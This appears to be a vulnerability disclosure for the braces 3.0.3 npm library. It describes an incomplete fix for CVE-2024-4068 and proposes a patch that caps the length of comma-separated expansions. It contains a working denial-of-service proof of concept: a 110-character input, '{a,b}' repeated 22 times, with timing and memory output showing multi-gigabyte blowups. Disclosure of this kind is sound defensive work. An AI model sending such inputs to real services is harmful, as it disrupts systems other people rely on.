// lib/expand.js:57
if (node.ranges > 0) {  // only numeric ranges are checked
  if (utils.exceedsLimit(...args, options.step, rangeLimit)) {
    throw new RangeError('...');
  }
}
// Comma-separated expansions skip this check entirely

mkdir braces-test && cd braces-test
npm init -y && npm install [email protected]
node -e "
const braces = require('braces');
const input = '{a,b}'.repeat(22);
console.time('expand');
const result = braces.expand(input);
console.timeEnd('expand');
console.log('Items:', result.length.toLocaleString());
"

# Install dependency first
npm install [email protected]
python3 poc_braces_dos.py

======================================================================
PoC: braces 3.0.3 Denial of Service
CVE-CANDIDATE: CVE-2024-4068 incomplete fix
======================================================================

[*] Finding DoS threshold...

  n=10: input=   50 chars ->      1,024 items,      4,096 chars,     11ms, +912KB
  n=15: input=   75 chars ->     32,768 items,    163,840 chars,     96ms, +15915KB
  n=18: input=   90 chars ->    262,144 items,  1,310,720 chars,    737ms, +115535KB
  n=20: input=  100 chars ->  1,048,576 items,  5,242,880 chars,   1833ms, +242558KB
  n=22: input=  110 chars ->  4,194,304 items, 20,971,520 chars,   9723ms, +1196410KB
  n=25: TIMEOUT/OOM

[*] Conclusion:
  - Input size: 110 characters (well within the 10,000 character limit)
  - Memory consumption: >1.2GB
  - CPU block time: ~10 seconds

braces.expand(input)
  -> lib/expand.js:walk()
    -> lib/expand.js:append()  <- no output limit
      -> recursively builds all 2^N combinations
        -> returns massive array

const queueLimit = (queue, stash, enclose) => {
  if (rangeLimit === Infinity) return append(queue, stash, enclose);
  const queueLength = queue ? [].concat(queue).length : 0;
  const stashLength = [].concat(stash).length;
  const nextLength = queueLength === 0 ? stashLength : (stashLength === 0 ? queueLength : queueLength * stashLength);
  if (nextLength > rangeLimit) {
    throw new RangeError('expanded array length exceeds range limit. Use options.rangeLimit to increase or disable the limit.');
  }
  return append(queue, stash, enclose);
};